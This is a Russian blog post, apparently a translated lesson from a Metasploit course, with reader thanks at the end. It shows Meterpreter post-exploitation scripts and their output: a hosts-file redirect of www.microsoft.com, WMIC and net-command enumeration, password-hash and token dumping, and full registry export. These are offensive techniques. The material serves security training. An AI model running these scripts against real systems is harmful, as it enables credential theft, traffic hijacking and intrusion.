meterpreter > run hostsedit -e 10.211.55.162,www.microsoft.com [*] Making Backup of the hosts file. [*] Backup loacated in C:\WINDOWS\System32\drivers\etc\hosts62497.back [*] Adding Record for Host www.microsoft.com with IP 10.211.55.162 [*] Clearing the DNS Cache
Сценарий 'remotewinenum' позволяет собрать системную информацию с помощью wmic. Не забудьте путь, где хранятся логи.
meterpreter > run remotewinenum Remote Windows Enumeration Meterpreter Script This script will enumerate windows hosts in the target environment given a username and password or using the credential under witch Meterpreter is running using WMI wmic windows native tool. Usage: OPTIONS: -h Help menu. -p Password of user on target system -t The target address -u User on the target system (If not provided it will use credential of process) meterpreter > run remotewinenum -u administrator -p ihazpassword -t 10.211.55.128 [*] Saving report to /root/.msf3/logs/remotewinenum/10.211.55.128_20090711.0142 [*] Running WMIC Commands .... [*] running command wimic environment list [*] running command wimic share list [*] running command wimic nicconfig list [*] running command wimic computersystem list [*] running command wimic useraccount list [*] running command wimic group list [*] running command wimic sysaccount list [*] running command wimic volume list brief [*] running command wimic logicaldisk get description,filesystem,name,size [*] running command wimic netlogin get name,lastlogon,badpasswordcount [*] running command wimic netclient list brief [*] running command wimic netuse get name,username,connectiontype,localname [*] running command wimic share get name,path [*] running command wimic nteventlog get path,filename,writeable [*] running command wimic service list brief [*] running command wimic process list brief [*] running command wimic startup list full [*] running command wimic rdtoggle list [*] running command wimic product get name,version [*] running command wimic qfe list
Сценарий 'winenum' запускает множество утилит для создания подробного отчета о системе.
meterpreter > run winenum [*] Running Windows Local Enumerion Meterpreter Script [*] New session on 10.211.55.128:4444... [*] Saving report to /root/.msf3/logs/winenum/10.211.55.128_20090711.0514-99271/10.211.55.128_20090711.0514-99271.txt [*] Checking if SSHACKTHISBOX-0 is a Virtual Machine ........ [*] This is a VMware Workstation/Fusion Virtual Machine [*] Running Command List ... [*] running command cmd.exe /c set [*] running command arp -a [*] running command ipconfig /all [*] running command ipconfig /displaydns [*] running command route print [*] running command net view [*] running command netstat -nao [*] running command netstat -vb [*] running command netstat -ns [*] running command net accounts [*] running command net accounts /domain [*] running command net session [*] running command net share [*] running command net group [*] running command net user [*] running command net localgroup [*] running command net localgroup administrators [*] running command net group administrators [*] running command net view /domain [*] running command netsh firewall show config [*] running command tasklist /svc [*] running command tasklist /m [*] running command gpresult /SCOPE COMPUTER /Z [*] running command gpresult /SCOPE USER /Z [*] Running WMIC Commands .... [*] running command wmic computersystem list brief [*] running command wmic useraccount list [*] running command wmic group list [*] running command wmic service list brief [*] running command wmic volume list brief [*] running command wmic logicaldisk get description,filesystem,name,size [*] running command wmic netlogin get name,lastlogon,badpasswordcount [*] running command wmic netclient list brief [*] running command wmic netuse get name,username,connectiontype,localname [*] running command wmic share get name,path [*] running command wmic nteventlog get path,filename,writeable [*] running command wmic process list brief [*] running command wmic startup list full [*] running command wmic rdtoggle list [*] running command wmic product get name,version [*] running command wmic qfe [*] Extracting software list from registry [*] Finished Extraction of software list from registry [*] Dumping password hashes... [*] Hashes Dumped [*] Getting Tokens... [*] All tokens have been processed [*] Done!
Сценарий 'scraper' может захватить еще больше системной информации, включая весь реестр.
meterpreter > run scraper [*] New session on 10.211.55.128:4444... [*] Gathering basic system information... [*] Dumping password hashes... [*] Obtaining the entire registry... [*] Exporting HKCU [*] Downloading HKCU (C:\WINDOWS\TEMP\LQTEhIqo.reg) [*] Cleaning HKCU [*] Exporting HKLM [*] Downloading HKLM (C:\WINDOWS\TEMP\GHMUdVWt.reg)
Из примеров выше мы убедились, что существует множество скриптов для Meterpreter, которые позволят заполучить «тонны» информации,отключить антивирус, включить RDP и многое другое.
Настройка среды.
Есть некоторые вещи, которые нужно иметь в виду при создании нового сценария Meterpreter.
-Не все версии Windows похожи
-В некоторых версиях Windows существуют контрмеры безопасности по отношению к некоторым командам
-Не все инструменты командной строки присутствуют во всех версиях Windows
-Некоторые из утилит командной строки имеют различные ключи использования, в зависимости от версии Windows
спасибо.
Незачто :), спасибо создателям курса, а я всего лишь перевел, как смог. Да, возможно несколько дней я не буду обновлять блог, в связи со срочной работой.
Спасибо за перевод. Читаю, просто супер :)
Как закончу перевод, выложу одним файлом.